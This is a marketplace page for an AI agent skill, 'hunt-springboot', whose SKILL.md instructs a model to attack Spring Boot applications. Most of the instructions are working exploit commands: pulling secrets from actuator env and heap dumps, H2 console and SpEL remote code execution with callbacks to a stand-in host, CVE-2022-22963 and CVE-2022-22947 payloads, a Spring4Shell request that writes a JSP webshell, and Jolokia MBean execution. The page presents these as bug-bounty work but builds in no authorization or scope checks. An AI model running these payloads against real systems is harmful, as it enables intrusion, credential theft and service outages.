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Hunt Springboot

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elementalsouls
hunt-springboot

Hunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers, mappings, shutdown), Spring Expression Language (SpEL) injection → RCE, H2 console RCE, Jolokia JMX exposure, Spring4Shell (CVE-2022-22965), Spring Cloud Function SPEL (CVE-2022-22963), heap dump credential extraction. Use when target runs Spring Boot — detected via X-Application-Context header, /actuator, Whitelabel Error Page, or Java stack traces.

Overview

Publisherelementalsouls
RepositoryClaude-BugHunter
Skill namehunt-springboot
Stars
4.5K
Forks
678
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by elementalsouls on GitHub. Read the source before you install it.

Installation

Install the Hunt Springboot AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p .claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-springboot .claude/skills/hunt-springboot
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Springboot in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Springboot on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Springboot is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities

Crown Jewel Targets

Spring Boot Actuator /actuator/heapdump exposed = heap dump with all secrets in memory.

Highest-value findings:

  • /actuator/heapdump — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory
  • /actuator/env — lists all environment variables and Spring properties including secrets
  • /actuator/shutdown — POST → shuts down the application (Critical availability impact)
  • H2 Console (/h2-console) — in-memory DB admin UI → SQL query execution → potential RCE via CREATE ALIAS trick
  • SpEL injection — Spring Expression Language in template fields, @Value annotations, SpEL-processed request params → RCE
  • Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → RCE via data binding

Phase 1 — Fingerprint Spring Boot

bash
# Spring Boot indicators
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"

# Actuator root (may list available endpoints)
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null

# Try common base paths
for base in "" "/manage" "/management" "/app"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
  [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done

Phase 2 — Actuator Endpoint Enumeration

bash
BASE="https://$TARGET/actuator"

# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" 
           "loggers" "info" "health" "configprops" "shutdown" "trace"
           "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
           "flyway" "liquibase" "refresh" "restart")

for EP in "${ENDPOINTS[@]}"; do
  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
  # page for many paths. Require actuator-shaped JSON (or a heapdump body)
  # before calling it EXPOSED.
  BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
  CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
  if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
    echo "[+] EXPOSED: $BASE/$EP"
  fi
done

# Get environment variables (passwords, API keys)
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20

# Get all endpoint mappings (full API surface)
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort

# Get Spring beans (lists all registered beans, reveals internal architecture)
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100

Phase 3 — Heap Dump Analysis

bash
# Download heap dump (can be large — 100MB+)
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof

# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
  grep -v "^[a-z_]" | sort -u | head -50

# More targeted extraction
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u        # AWS keys
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u     # Stripe keys
strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u   # Bearer tokens

# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/

Phase 4 — H2 Console RCE

bash
# H2 console detection
curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl -s "https://$TARGET/h2" | grep -i "H2 Console"
curl -s "https://$TARGET/console" | grep -i "H2"

# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb

# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
#   Runtime rt = Runtime.getRuntime();
#   String[] commands = {"sh","-c",cmd};
#   Process proc = rt.exec(commands);
#   return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');

Phase 5 — SpEL Injection

bash
# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated

# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow

# Basic SpEL test
curl -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed

# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl -s -X POST "https://$TARGET/api/user/name" \
  -H "Content-Type: application/json" \
  -d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'

# CVE-2022-22963 — Spring Cloud Function SpEL
curl -s -X POST "https://$TARGET/functionRouter" \
  -H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
  -d "test"

Phase 5b — Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947)

If the gateway actuator is exposed, add a route whose filter body is SpEL, then refresh to evaluate it (escape inner quotes for your shell):

bash
curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \
 -d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}'
curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes"

Phase 5c — Writable /env -> /refresh gadget RCE

When /actuator/env accepts POST and /actuator/refresh exists, poison a property then reload:

bash
# logback JNDI:
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'
# Eureka XStream deserialization:
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}'
curl -s -X POST "$BASE/actuator/refresh"

(Veracode: Exploiting Spring Boot Actuators.)

Phase 6 — Spring4Shell (CVE-2022-22965)

bash
# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment

# Detection: does the app accept class.* parameters?
curl -s "https://$TARGET/api/user" \
  -d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLLAB for HTTP callback

# Exploitation: write webshell via class loader
curl -s "https://$TARGET/login" \
  --data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

Phase 7 — Jolokia JMX Exposure

bash
# Jolokia provides HTTP access to JMX MBeans
curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20

# List all MBeans
curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30

# Read system properties via Jolokia (may expose credentials)
curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
  python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"

# Exec MBean operations (potential RCE via MLet)
curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"

Chain Table

Spring Boot findingChain toImpact
/actuator/heapdumpExtract DB passwords, API keys from memoryCritical credential exfil
/actuator/envRead all env vars including secretsHigh
H2 console accessibleCREATE ALIAS → RCECritical
SpEL injectionT(Runtime).exec() → OS commandCritical RCE
Spring4ShellWrite webshell → RCECritical
Jolokia + MLetRemote code via MBeanCritical RCE

Validation

✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file ✅ Actuator/env: secrets visible in JSON response ✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received ✅ H2 console: SQL executed, id output returned

Severity:

  • Heapdump with credentials: Critical
  • SpEL RCE: Critical
  • H2 console RCE: Critical
  • Actuator env (passwords exposed): High
  • Mappings disclosure only: Low-Medium

Frequently asked questions

What does the Hunt Springboot AI skill do?

Hunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers, mappings, shutdown), Spring Expression Language (SpEL) injection → RCE, H2 console RCE, Jolokia JMX exposure, Spring4Shell (CVE-2022-22965), Spring Cloud Function SPEL (CVE-2022-22963), heap dump credential extraction. Use when target runs Spring Boot — detected via X-Application-Context header, /actuator, Whitelabel Error Page, or Java stack traces.

Why use Hunt Springboot on TypingMind?

Because you install it once and use it with any model. Hunt Springboot is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Springboot in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-springboot. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Springboot?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Springboot?

As many as you like. As long as a model supports skills, you can use Hunt Springboot with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Springboot AI skill free?

Yes. It is published on GitHub by elementalsouls under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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